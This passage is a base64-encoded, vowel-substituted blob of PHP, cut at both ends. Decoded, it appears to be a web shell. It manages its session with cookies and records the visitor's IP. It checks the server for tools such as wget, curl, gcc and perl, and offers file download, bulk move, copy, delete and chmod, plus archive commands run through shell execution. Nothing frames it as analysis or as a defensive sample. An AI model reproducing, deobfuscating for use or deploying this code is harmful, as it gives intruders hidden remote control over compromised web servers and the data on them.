RnaGw0Z2h0X2JyNGdodCA9IDFycjF5KCJCb2VvaTAiLCAiNzc3Nzc3IiwgIjc4YTBCQSIsICI2NjY2NjYiICwgIjAwN0ZGRiIpOw0KDQpnbDJiMWwgJHNfczVsZiwgJHNfdzRuLCAkc19wMnM0eDsNCg0KJHNfczVsZiA9ICI/IjsNCiRzX2M1azYgPSBiMXM1bjFtNSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pOw0KJHNfYzVrYSA9IHMzYnN0cihiMXM1bjFtNShfX0ZJTEVfXyksMCxzdHJsNW4oJHNfYzVrNikpOw0KDQo0Zig0c3M1dCgkX0NPT0tJRVsnYm83dWtfNG5jbDNkNWQnXSkpew0KICAgIDRmKHN0cmNtcCgkc19jNWs2LCRzX2M1a2EpIT0wKSAkc19zNWxmID0gJF9DT09LSUVbJ3NfczVsZiddOw0KICAgIDVsczV7DQogICAgICAgICRzX3M1bGYgPSAiPyI7DQogICAgICAgIHM1dGMyMms0NSgiYm83dWtfNG5jbDNkNWQiLCAiMCIgLHQ0bTUoKSAtICRzX2wyZzRuX3Q0bTUpOw0KICAgICAgICBzNXRjMjJrNDUoInNfczVsZiIsICRzX3M1bGYgLHQ0bTUoKSArICRzX2wyZzRuX3Q0bTUpOw0KICAgIH0NCn0NCjVsczV7DQogICAgNGYoc3RyY21wKCRzX2M1azYsJHNfYzVrYSkhPTApew0KICAgICAgICA0ZighNHNzNXQoJF9DT09LSUVbJ3NfaDJtNSddKSl7DQogICAgICAgICAgICAkc19oMm01ID0gIj8iLiRfU0VSVkVSWyJRVUVSWV9TVFJJTkciXS4iJiI7DQogICAgICAgICAgICBzNXRjMjJrNDUoInNfaDJtNSIsICRzX2gybTUgLHQ0bTUoKSArICRzX2wyZzRuX3Q0bTUpOw0KICAgICAgICB9DQogICAgICAgIDRmKDRzczV0KCRzX2gybTUpKSAkc19zNWxmID0gJHNfaDJtNTsNCiAgICAgICAgNWxzNTRmKDRzczV0KCRfQ09PS0lFWydzX2gybTUnXSkpICRzX3M1bGYgPSAkX0NPT0tJRVsnc19oMm01J107DQogICAgICAgIHM1dGMyMms0NSgiYm83dWtfNG5jbDNkNWQiLCAiNiIgLHQ0bTUoKSArICRzX2wyZzRuX3Q0bTUpOw0KICAgICAgICBzNXRjMjJrNDUoInNfczVsZiIsICRzX3M1bGYgLHQ0bTUoKSArICRzX2wyZzRuX3Q0bTUpOw0KICAgIH0NCiAgICA1bHM1ew0KICAgICAgICAkc19zNWxmID0gIj8iOw0KICAgICAgICBzNXRjMjJrNDUoImJvN3VrXzRuY2wzZDVkIiwgIjAiICx0NG01KCkgLSAkc19sMmc0bl90NG01KTsNCiAgICAgICAgczV0YzIyazQ1KCJzX3M1bGYiLCAkc19zNWxmICx0NG01KCkgKyAkc19sMmc0bl90NG01KTsNCiAgICB9DQp9DQokc19jd2QgPSAiIjsNCg0KNGYoNHNzNXQoJF9HUFsnfCddKSkgc2gyd2MyZDUoJHNfY3NzKTsNCjVsczU0Zig0c3M1dCgkX0dQWychJ10pKSBzaDJ3YzJkNSgkc19qcyk7DQoNCjRmKCRzXzEzdGgpew0KICAgIC8vIHM1cnY1ciBzMmZ0dzFyNQ0KICAgICRzX3MyZnR3MXI1ID0gZzV0NW52KCJTRVJWRVJfU09GVFdBUkUiKTsNCiAgICAvLyAzbjFtNSAtMQ0KICAgICRzX3N5c3Q1bSA9IHBocF8zbjFtNSgpOw0KICAgIC8vIGNoNWNrIDJzDQogICAgJHNfdzRuID0gKHN0cnQybDJ3NXIoczNic3RyKCRzX3N5c3Q1bSwwLG8pKSA9PSAidzRuIik/IHRyMzUgOiBmMWxzNTsNCiAgICAvLyBjaDVjayBmMnIgcDJzNHgNCiAgICAkc19wMnM0eCA9IChmM25jdDQybl81eDRzdHMoInAyczR4X2c1dHB3MzRkIikpPyB0cjM1IDogZjFsczU7DQogICAgLy8gY2gxbmc1IHcycms0bmcgZDRyNWN0MnJ5DQogICAgNGYoNHNzNXQoJF9HUFsnY2QnXSkpew0KICAgICAgICAkc19kZCA9ICRfR1BbJ2NkJ107DQogICAgICAgIDRmKEA0c19kNHIoJHNfZGQpKXsNCiAgICAgICAgICAgICRzX2N3ZCA9IGNwKCRzX2RkKTsNCiAgICAgICAgICAgIGNoZDRyKCRzX2N3ZCk7DQogICAgICAgICAgICBzNXRjMjJrNDUoImN3ZCIsICRzX2N3ZCAsdDRtNSgpICsgJHNfbDJnNG5fdDRtNSk7DQogICAgICAgIH0NCiAgICAgICAgNWxzNSAkc19jd2QgPSA0c3M1dCgkX0NPT0tJRVsnY3dkJ10pPyBjcCgkX0NPT0tJRVsnY3dkJ10pOmNwKGc1dGN3ZCgpKTs7DQogICAgfQ0KICAgIDVsczV7DQogICAgICAgIDRmKDRzczV0KCRfQ09PS0lFWydjd2QnXSkpew0KICAgICAgICAgICAgJHNfZGQgPSBzcygkX0NPT0tJRVsnY3dkJ10pOw0KICAgICAgICAgICAgNGYoQDRzX2Q0cigkc19kZCkpew0KICAgICAgICAgICAgICAgICRzX2N3ZCA9IGNwKCRzX2RkKTsNCiAgICAgICAgICAgICAgICBjaGQ0cigkc19jd2QpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIDVsczUgJHNfY3dkID0gY3AoZzV0Y3dkKCkpOw0KICAgIH0NCg0KICAgIDRmKCEkc193NG4gJiYgJHNfcDJzNHgpew0KICAgICAgICAkc18zczVyMXJyID0gcDJzNHhfZzV0cHczNGQocDJzNHhfZzV0NTM0ZCgpKTsNCiAgICAgICAgNGYoNHNzNXQoJHNfM3M1cjFyclsnbjFtNSddKSkgJHNfM3M1ciA9ICRzXzNzNXIxcnJbJ24xbTUnXTsNCiAgICAgICAgNWxzNSAkc18zczVyID0gIiQiOw0KICAgIH0NCiAgICA1bHM1IHsNCiAgICAgICAgJHNfM3M1ciA9IGc1dF9jM3JyNW50XzNzNXIoKTsNCiAgICB9DQoNCiAgICAvLyBwcjJtcHQgc3R5bDUNCiAgICAkc19wcjJtcHQgPSAkc18zczVyLiIgJmd0OyI7DQogICAgLy8gczVydjVyIDRwDQogICAgJHNfczVydjVyXzRwID0gZzV0aDJzdGJ5bjFtNSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pOw0KICAgIC8vIHkyM3IgNHAgOy0pDQogICAgJHNfbXlfNHAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsNCiAgICAkc19yNXMzbHQgPSAiIjsNCg0KICAgIGdsMmIxbCAkc19weXRoMm4sICRzX3A1cmwsICRzX3IzYnksICRzX24yZDUsICRzX24yZDVqcywgJHNfZ2NjLCAkc19qMXYxLCAkc19qMXYxYywgJHNfdDFyLCAkc193ZzV0LCAkc19sd3BkMndubDIxZCwgJHNfbHlueCwgJHNfYzNybDsNCg0KICAgICRzXzFjYzVzcyA9IDFycjF5KCJzX3B5dGgybiIsICJzX3A1cmwiLCAic19yM2J5IiwgInNfbjJkNSIsICJzX24yZDVqcyIsICJzX2djYyIsICJzX2oxdjEiLCAic19qMXYxYyIsICJzX3QxciIsICJzX3dnNXQiLCAic19sd3BkMndubDIxZCIsICJzX2x5bngiLCAic19jM3JsIik7DQogICAgZjJyNTFjaCgkc18xY2M1c3MgMXMgJHMpew0KICAgICAgICA0Zig0c3M1dCgkX0NPT0tJRVskc10pKXsgJCRzID0gJF9DT09LSUVbJHNdOyB9DQogICAgICAgIDVsczV7DQogICAgICAgICAgICA0ZighNHNzNXQoJF9DT09LSUVbJ2JvN3VrJ10pKXsNCiAgICAgICAgICAgICAgICAkdCA9IDV4cGwyZDUoIl8iLCAkcyk7DQogICAgICAgICAgICAgICAgJHQgPSBjaDVja18xY2M1c3MoJHRbNl0pOw0KICAgICAgICAgICAgICAgIDRmKCR0IT09ZjFsczUpew0KICAgICAgICAgICAgICAgICAgICAkJHMgPSAkdDsNCiAgICAgICAgICAgICAgICAgICAgczV0YzIyazQ1KCRzLCAkJHMgLHQ0bTUoKSArICRzX2wyZzRuX3Q0bTUpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8vIGQyd25sMjFkIGY0bDUgc3A1YzRmNDVkIGJ5ID9kbD08ZjRsNT4NCiAgICA0Zig0c3M1dCgkX0dQWydkbCddKSAmJiAoJF9HUFsnZGwnXSAhPSAiIikpew0KICAgICAgICAyYl81bmRfY2w1MW4oKTsNCiAgICAgICAgJGYgPSAkX0dQWydkbCddOw0KICAgICAgICAkZmMgPSBmZ2MoJGYpOw0KICAgICAgICBoNTFkNXIoIkMybnQ1bnQtdHlwNTogMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtIik7DQogICAgICAgIGg1MWQ1cigiQzJudDVudC1sNW5ndGg6ICIuc3RybDVuKCRmYykpOw0KICAgICAgICBoNTFkNXIoIkMybnQ1bnQtZDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PVwiIi5iMXM1bjFtNSgkZikuIlwiOyIpOw0KICAgICAgICA1Y2gyICRmYzsNCiAgICAgICAgZDQ1KCk7DQogICAgfQ0KICAgIC8vIG0xc3MxY3QNCiAgICA0Zig0c3M1dCgkX0dQWyd6J10pKXsNCiAgICAgICAgJHNfbTFzczFjdCA9IDRzczV0KCRfQ09PS0lFWydtMXNzMWN0J10pPyAkX0NPT0tJRVsnbTFzczFjdCddOiIiOw0KICAgICAgICAkc19iM2ZmNXIgPSA0c3M1dCgkX0NPT0tJRVsnYjNmZjVyJ10pPyBydHI0bShzcygkX0NPT0tJRVsnYjNmZjVyJ10pLCJ8Iik6IiI7DQogICAgICAgICRzX2w0c3RzID0gNXhwbDJkNSgifCIsICRzX2IzZmY1cik7DQoNCiAgICAgICAgJHNfYzIzbnQ1ciA9IDA7DQogICAgICAgIDRmKCE1bXB0eSgkc19iM2ZmNXIpKXsNCiAgICAgICAgICAgIDRmKCRfR1BbJ3onXT09J20ydjUyaycpew0KICAgICAgICAgICAgICAgIGYycjUxY2goJHNfbDRzdHMgMXMgJHNfbCkgNGYocjVuMW01KCRzX2wsJHNfY3dkLmIxczVuMW01KCRzX2wpKSkgJHNfYzIzbnQ1cisrOw0KICAgICAgICAgICAgICAgIDRmKCRzX2MyM250NXI+MCkgJHNfcjVzM2x0IC49IG4ydDRmKCRzX2MyM250NXIuIiA0dDVtcyBtMnY1ZCIpOw0KICAgICAgICAgICAgICAgIDVsczUgJHNfcjVzM2x0IC49IG4ydDRmKCJOMiA0dDVtcyBtMnY1ZCIpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWxzNTRmKCRfR1BbJ3onXT09J2MycHkyaycpew0KICAgICAgICAgICAgICAgIGYycjUxY2goJHNfbDRzdHMgMXMgJHNfbCl7DQogICAgICAgICAgICAgICAgICAgIDRmKEA0c19kNHIoJHNfbCkpew0KICAgICAgICAgICAgICAgICAgICAgICAgYzJweXMoJHNfbCwkc19jd2QuYjFzNW4xbTUoJHNfbCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoZjRsNV81eDRzdHMoJHNfY3dkLmIxczVuMW01KCRzX2wpKSkgJHNfYzIzbnQ1cisrOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIDVsczU0ZihANHNfZjRsNSgkc19sKSl7DQogICAgICAgICAgICAgICAgICAgICAgICBjMnB5KCRzX2wsJHNfY3dkLmIxczVuMW01KCRzX2wpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKGY0bDVfNXg0c3RzKCRzX2N3ZC5iMXM1bjFtNSgkc19sKSkpICRzX2MyM250NXIrKzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA0Zigkc19jMjNudDVyPjApICRzX3I1czNsdCAuPSBuMnQ0Zigkc19jMjNudDVyLiIgNHQ1bXMgYzJwNDVkIik7DQogICAgICAgICAgICAgICAgNWxzNSAkc19yNXMzbHQgLj0gbjJ0NGYoIk4yIDR0NW1zIGMycDQ1ZCIpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWxzNTRmKCRfR1BbJ3onXT09J2Q1bDJrJyl7DQogICAgICAgICAgICAgICAgZjJyNTFjaCgkc19sNHN0cyAxcyAkc19sKXsNCiAgICAgICAgICAgICAgICAgICAgNGYoQDRzX2Y0bDUoJHNfbCkpew0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoM25sNG5rKCRzX2wpKSAkc19jMjNudDVyKys7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgNWxzNTRmKEA0c19kNHIoJHNfbCkpew0KICAgICAgICAgICAgICAgICAgICAgICAgcm1kNHJzKCRzX2wpOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoIWY0bDVfNXg0c3RzKCRzX2wpKSAkc19jMjNudDVyKys7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgNGYoJHNfYzIzbnQ1cj4wKSAkc19yNXMzbHQgLj0gbjJ0NGYoJHNfYzIzbnQ1ci4iIDR0NW1zIGQ1bDV0NWQiKTsNCiAgICAgICAgICAgICAgICA1bHM1ICRzX3I1czNsdCAuPSBuMnQ0ZigiTjIgNHQ1bXMgZDVsNXQ1ZCIpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWxzNTRmKDRzczV0KCRfR1BbJ2NobTJkMmsnXSkpew0KICAgICAgICAgICAgICAgICRzX20yZCA9IDJjdGQ1YygkX0dQWydjaG0yZDJrJ10pOw0KICAgICAgICAgICAgICAgIGYycjUxY2goJHNfbDRzdHMgMXMgJHNfbCkgNGYoY2htMmQoJHNfbCwkc19tMmQpKSAkc19jMjNudDVyKys7DQogICAgICAgICAgICAgICAgNGYoJHNfYzIzbnQ1cj4wKSAkc19yNXMzbHQgLj0gbjJ0NGYoJHNfYzIzbnQ1ci4iIDR0NW1zIGNoMW5nNWQgbTJkNSB0MiAiLmQ1YzJjdCgkc19tMmQpKTsNCiAgICAgICAgICAgICAgICA1bHM1ICRzX3I1czNsdCAuPSBuMnQ0ZigiTjIgNHQ1bXMgbTJkNGY0NWQiKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVsczU0Zig0c3M1dCgkX0dQWyd0MjNjaDJrJ10pKXsNCiAgICAgICAgICAgICAgICAkc19kMXQ1bjV3ID0gc3RydDJ0NG01KCRfR1BbJ3QyM2NoMmsnXSk7DQogICAgICAgICAgICAgICAgZjJyNTFjaCgkc19sNHN0cyAxcyAkc19sKSA0Zih0MjNjaCgkc19sLCRzX2QxdDVuNXcpKSAkc19jMjNudDVyKys7DQogICAgICAgICAgICAgICAgNGYoJHNfYzIzbnQ1cj4wKSAkc19yNXMzbHQgLj0gbjJ0NGYoJHNfYzIzbnQ1ci4iIDR0NW1zIGNoMW5nNWQgMWNjNXNzIDFuZCBtMmQ0ZjRjMXQ0Mm4gdDRtNSB0MiAiLkBkMXQ1KCJkLU0tWSBIOjQ6cyIsJHNfZDF0NW41dykpOw0KICAgICAgICAgICAgICAgIDVsczUgJHNfcjVzM2x0IC49IG4ydDRmKCJOMiA0dDVtcyBtMmQ0ZjQ1ZCIpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWxzNTRmKDRzczV0KCRfR1BbJ2MybXByNXNzejRwMmsnXSkpew0KICAgICAgICAgICAgICAgICRzX2Y0bDUgPSAkX0dQWydjMm1wcjVzc3o0cDJrJ107DQogICAgICAgICAgICAgICAgNGYoejRwKCRzX2w0c3RzLCAkc19mNGw1KSkgJHNfcjVzM2x0IC49IG4ydDRmKCJBcmNoNHY1IGNyNTF0NWQgOiAiLmhzcygkc19mNGw1KSk7DQogICAgICAgICAgICAgICAgNWxzNSAkc19yNXMzbHQgLj0gbjJ0NGYoIkVycjJyIGNyNTF0NG5nIDFyY2g0djUgZjRsNSIpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWxzNTRmKDRzczV0KCRfR1BbJ2MybXByNXNzdDFyMmsnXSkpew0KICAgICAgICAgICAgICAgICRzX2w0c3RzXyA9IDFycjF5KCk7DQogICAgICAgICAgICAgICAgJHNfZjRsNSA9ICRfR1BbJ2MybXByNXNzdDFyMmsnXTsNCiAgICAgICAgICAgICAgICAkc19mNGw1ID0gYjFzNW4xbTUoJHNfZjRsNSk7DQoNCiAgICAgICAgICAgICAgICAkc19sNHN0c19fID0gMXJyMXlfbTFwKCJiMXM1bjFtNSIsICRzX2w0c3RzKTsNCiAgICAgICAgICAgICAgICAkc19sNHN0c18gPSAxcnIxeV9tMXAoInBmIiwgJHNfbDRzdHNfXyk7DQogICAgICAgICAgICAgICAgNXg1KCJ0MXIgY2YgXCIiLiRzX2Y0bDUuIlwiICIuNG1wbDJkNSgiICIsICRzX2w0c3RzXykpOw0KDQogICAgICAgICAgICAgICAgNGYoQDRzX2Y0bDUoJHNfZjRsNSkpICRzX3I1czNsdCAuPSBuMnQ0ZigiQXJjaDR2NSBjcjUxdDVkIDogIi5oc3MoJHNfZjRsNSkpOw0KICAgICAgICAgICAgICAgIDVsczUgJHNfcjVzM2x0IC49IG4ydDRmKCJFcnIyciBjcjUxdDRuZyAxcmNoNHY1IGY0bDUiKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVsczU0Zig0c3M1dCgkX0dQWydjMm1wcjVzc3Qxcmd6MmsnXSkpew0KICAgICAgICAgICAgICAgICRzX2w0c3RzXyA9IDFycjF5KCk7DQogICAgICAgICAgICAgICAgJHNfZjRsNSA9ICRfR1BbJ2MybXByNXNzdDFyZ3oyayddOw0KICAgICAgICAgICAgICAgICRzX2Y0bDUgPSBiMXM1bjFtNSgkc19mNGw1KTsNCg0KICAgICAgICAgICAgICAgICRzX2w0c3RzX18gPSAxcnIxeV9tMXAoImIxczVuMW01IiwgJHNfbDRzdHMpOw0KICAgICAgICAgICAgICAgICRzX2w0c3RzXyA9IDFycjF5X20xcCgicGYiLCAkc19sNHN0c19fKTsNCiAgICAgICAgICAgICAgICA1eDUoInQxciBjemYgXCIiLiRzX2Y0bDUuIlwiICIuNG1wbDJkNSgiICIsICRzX2w0c3RzXykpOw0KDQogICAgICAgICAgICAgICAgNGYoQDRzX2Y0bDUoJHNfZjRsNSkpICRzX3I1czNsdCAuPSBuMnQ0ZigiQXJjaDR2NSBjcjUxdDVkIDogIi5oc3MoJHNfZjRsNSkpOw0KICAgICAgICAgICAgICAgIDVsczUgJHNfcjVzM2x0IC49IG4ydDRmKCJFcnIyciBjcjUxdDRuZyAxcmNoNHY1IGY0bDUiKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVsczU0Zig0c3M1dCgkX0dQWyc1eHRyMWN0ejRwMmsnXSkpew0KICAgICAgICAgICAgICAgICRzX2Y0bDUgPSAkX0dQWyc1eHRyMWN0ejRwMmsnXTsNCiAgICAgICAgICAgICAgICAkejRwID0gbjV3IFo0cEFyY2g0djUoKTsNCiAgICAgICAgICAgICAgICBmMnI1MWNoKCRzX2w0c3RzIDFzICRmKXsNCiAgICAgICAgICAgICAgICAgICAgJHNfdDFyZzV0ID0gJHNfZjRsNS5iMXM1bjFtNSgkZiwiLno0cCIpOw0KICAgICAgICAgICAgICAgICAgICA0ZigkejRwLT4ycDVuKCRmKSl7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZighQDRzX2Q0cigkc190MXJnNXQpKSBAbWtkNHIoJHNfdDFyZzV0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCR6NHAtPjV4dHIxY3RUMigkc190MXJnNXQpKSAkc19yNXMzbHQgLj0gbjJ0NGYoIkY0bDVzIDV4dHIxY3Q1ZCB0MiAiLmhzcygkc190MXJnNXQpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVsczUgJHNfcjVzM2x0IC49IG4ydDRmKCJFcnIyciA1eHRyMXQ0bmcgMXJjaDR2NSBmNGw1Iik7DQogICAgICAgICAgICAgICAgICAgICAgICAkejRwLT5jbDJzNSgpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIDVsczUgJHNfcjVzM2x0IC49IG4ydDRmKCJFcnIyciAycDVuNG5nIDFyY2g0djUgZjRsNSIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVsczU0Zig0c3M1dCgkX0dQWyc1eHRyMWN0dDFyMmsnXSkpew0KICAgICAgICAgICAgICAgICRzX2Y0bDUgPSAkX0dQWyc1eHRyMWN0dDFyMmsnXTsNCiAgICAgICAgICAgICAgICBmMnI1MWNoKCRzX2w0c3RzIDFzICRmKXsNCiAgICAgICAgICAgICAgICAgICAgJHNfdDFyZzV0ID0gIiI7DQogICAgICAgICAgICAgICAgICAgICRzX3Qxcmc1dCA9IGIxczVuMW01KCRmLCIudDFyIik7DQogICAgICAgICAgICAgICAgICAgIDRmKCFANHNfZDRyKCRzX3Qxcmc1dCkpIEBta2Q0cigkc190MXJnNXQpOw0KICAgICAgICAgICAgICAgICAgICA1eDUoInQxciB4ZiBcIiIuYjFzNW4xbTUoJGYpLiJcIiAtQyBcIiIuJHNfdDFyZzV0LiJcIiIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVsczU0Zig0c3M1dCgkX0dQWyc1eHRyMWN0dDFyZ3oyayddKSl7DQogICAgICAgICAgICAgICAgJHNfZjRsNSA9ICRfR1BbJzV4dHIxY3R0MXJnejJrJ107DQogICAgICAgICAgICAgICAgZjJyNTFjaCgkc19sNHN0cyAxcyAkZil7DQogICAgICAgICAgICAgICAgICAgICRzX3Qxcmc1dCA9ICIiOw0KICAgICAgICAgICAgICAgICAgICA0ZihzdHJwMnMoc3RydDJsMnc1cigkZiksICIudDFyLmd6IikhPT1mMWxzNSkgJHNfdDFyZzV0ID0gYjFzNW4xbTUoJGYsIi50MXIuZ3oiKTsNCiAgICAgICAgICAgICAgICAgICAgNWxzNTRmKHN0cnAycyhzdHJ0MmwydzVyKCRmKSwgIi50Z3oiKSE9PWYxbHM1KSAkc190MXJnNXQgPSBiMXM1bjFtNSgkZiwiLnRneiIpOw0KICAgICAgICAgICAgICAgICAgICA0ZighQDRzX2Q0cigkc190MXJnNXQpKSBAbWtkNHIoJHNfdDFyZzV0KTsNCiAgICAgICAgICAgICAgICAgICAgNXg1KCJ0MXIgeHpmIFwiIi5iMXM1bjFtNSgkZikuIlwiIC1DIFwiIi4kc190MXJnNXQuIlwiIik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHM1dGMyMms0NSgiYjNmZjVyIiwgIiIgLHQ0bTUoKSAtICRzX2wyZzRuX3Q0bTUpOw0KICAgICAgICBzNXRjMjJrNDUoIm0xc3MxY3QiLCAiIiAsdDRtNSgpIC0gJHNfbDJnNG5fdDRtNSk7DQogICAgfQ0KICAgIDRmKDRzczV0KCRfR1BbJ3knXSkpew0KICAgICAgICAkc19tMXNzMWN0ID0gNHNzNXQoJF9DT09LSUVbJ20xc3MxY3QnXSk/ICRfQ09PS0lFWydtMXNzMWN0J106IiI7DQogICAgICAgICRzX2IzZmY1ciA9IDRzczV0KCRfQ09PS0lFWydiM2ZmNXInXSk/IHJ0cjRtKHNzKCRfQ09PS0lFWydiM2ZmNXInXSksInwiKToiIjsNCiAgICAgICAgJHNfbDRzdHMgPSA1eHBsMmQ1KCJ8IiwgJHNfYjNmZjVyKTsNCg0KICAgICAgICA0ZighNW1wdHkoJHNfYjNmZjVyKSl7DQogICAgICAgICAgICA0ZigkX0dQWyd5J109PSdkNWw1dDUnKXsNCiAgICAgICAgICAgICAgICAkc19yNXMzbHQgLj0gbjJ0NGYoIkQ1bDV0NSA/IDwxIGhyNWY9JyIuJHNfczVsZi4iej1kNWwyayIuIic+WTVzPC8xPiB8IDwxIGhyNWY9JyIuJHNfczVsZi4iJz5OMjwvMT4iKTsNCiAgICAgICAgICAgICAgICBmMnI1MWNoKCRzX2w0c3RzIDFzICRzX2wpICRzX3I1czNsdCAuPSBuMnQ0Zigkc19sKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVsczU0ZigkX0dQWyd5J109PSdwMXN0NScgJiYgJHNfbTFzczFjdD09J2MzdCcpew0KICAgICAgICAgICAgICAgICRzX3I1czNsdCAuPSBuMnQ0ZigiTTJ2NSBoNXI1ID8gPDEgaHI1Zj0nIi4kc19zNWxmLiJ6PW0ydjUyayIuIic+WTVzPC8xPiB8IDwxIGhyNWY9JyIuJHNfczVsZi4iJz5OMjwvMT4iKTsNCiAgICAgICAgICAgICAgICBmMnI1MWNoKCRzX2w0c3RzIDFzICRzX2wpICRzX3I1czNsdCAuPSBuMnQ0Zigkc19sKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVsczU0ZigkX0dQWyd5J109PSdwMXN0NScgJiYgJHNfbTFzczFjdD09J2MycHknKXsNCiAgICAgICAgICAgICAgICAkc19yNXMzbHQgLj0gbjJ0NGYoIkMycHkgaDVyNSA/IDwxIGhyNWY9JyIuJHNfczVsZi4iej1jMnB5MmsiLiInPlk1czwvMT4gfCA8MSBocjVmPSciLiRzX3M1bGYuIic+TjI8LzE+Iik7DQogICAgICAgICAgICAgICAgZjJyNTFjaCgkc19sNHN0cyAxcyAkc19sKSAkc19yNXMzbHQgLj0gbjJ0NGYoJHNfbCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA1bHM1NGYoJF9HUFsneSddPT0nY2htMmQnKXsNCiAgICAgICAgICAgICAgICAkc19yNXMzbHQgLj0gbjJ0NGYoIlA1cm00c3M0Mm5zID8gPGYycm0gMWN0NDJuPSciLiRzX3M1bGYuIicgbTV0aDJkPSdwMnN0Jz48NG5wM3QgY2wxc3M9JzRucDN0eicgdHlwNT0ndDV4dCcgdjFsMzU9JzA3aWknIG4xbTU9J2NobTJkMmsnIHN0eWw1PSd3NGR0aDpvMHB4O3Q1eHQtMWw0Z246YzVudDVyOycgbTF4bDVuZ3RoPSd1JyAvPjw0bnAzdCBjbDFzcz0nNG5wM3R6YjN0JyBuMW01PSd6JyB0eXA1PSdzM2JtNHQnIHYxbDM1PSdHMiAhJyAvPjwvZjJybT4iKTsNCiAgICAgICAgICAgICAgICBmMnI1MWNoKCRzX2w0c3RzIDFzICRzX2wpICRzX3I1czNsdCAuPSBuMnQ0Zigkc19sKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVsczU0ZigkX0dQWyd5J109PSd0MjNjaCcpew0KICAgICAgICAgICAgICAgICRzX3I1czNsdCAuPSBuMnQ0ZigiVDIzY2ggPyA8ZjJybSAxY3Q0Mm49JyIuJHNfczVsZi4iJyBtNXRoMmQ9J3Ayc3QnPjw0bnAzdCBjbDFzcz0nNG5wM3R6JyB0eXA1PSd0NXh0JyB2MWwzNT0nIi5AZDF0NSgiZC1NLVkgSDo0OnMiLHQ0bTUoKSkuIicgbjFtNT0ndDIzY2gyaycgc3R5bDU9J3c0ZHRoOjZvMHB4O3Q1eHQtMWw0Z246YzVudDVyOycgLz48NG5wM3QgY2wxc3M9JzRucDN0emIzdCcgbjFtNT0neicgdHlwNT0nczNibTR0JyB2MWwzNT0nRzIgIScgLz48L2Yycm0+Iik7DQogICAgICAgICAgICAgICAgZjJyNTFjaCgkc19sNHN0cyAxcyAkc19sKSAkc19yNXMzbHQgLj0gbjJ0NGYoJHNfbCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA1bHM1NGYoJF9HUFsneSddPT0nNXh0cjFjdHo0cCcpew0KICAgICAgICAgICAgICAgICRzX3I1czNsdCAuPSBuMnQ0ZigiRXh0cjFjdCB0MiA/IDxmMnJtIDFjdDQybj0nIi4kc19zNWxmLiInIG01dGgyZD0ncDJzdCc+PDRucDN0IGNsMXNzPSc0bnAzdHonIHR5cDU9J3Q1eHQnIHYxbDM1PSciLmhzcygkc19jd2QpLiInIG4xbTU9JzV4dHIxY3R6NHAyaycgc3R5bDU9J3c0ZHRoOmkwJTsnIC8+PDRucDN0IGNsMXNzPSc0bnAzdHpiM3QnIG4xbTU9J3onIHR5cDU9J3MzYm00dCcgdjFsMzU9J0cyICEnIC8+PC9mMnJtPiIpOw0KICAgICAgICAgICAgICAgIGYycjUxY2goJHNfbDRzdHMgMXMgJHNfbCkgJHNfcjVzM2x0IC49IG4ydDRmKCRzX2wpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWxzNTRmKCRfR1BbJ3knXT09JzV4dHIxY3R0MXInKXsNCiAgICAgICAgICAgICAgICAkc19yNXMzbHQgLj0gbjJ0NGYoIkV4dHIxY3QgdDIgPyA8ZjJybSAxY3Q0Mm49JyIuJHNfczVsZi4iJyBtNXRoMmQ9J3Ayc3QnPjw0bnAzdCBjbDFzcz0nNG5wM3R6JyB0eXA1PSd0NXh0JyB2MWwzNT0nIi5oc3MoJHNfY3dkKS4iJyBuMW01PSc1eHRyMWN0dDFyMmsnIHN0eWw1PSd3NGR0aDppMCU7JyAvPjw0bnAzdCBjbDFzcz0nNG5wM3R6YjN0JyBuMW01PSd6JyB0eXA1PSdzM2JtNHQnIHYxbDM1PSdHMiAhJyAvPjwvZjJybT4iKTsNCiAgICAgICAgICAgICAgICBmMnI1MWNoKCRzX2w0c3RzIDFzICRzX2wpICRzX3I1czNsdCAuPSBuMnQ0Zigkc19sKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVsczU0ZigkX0dQWyd5J109PSc1eHRyMWN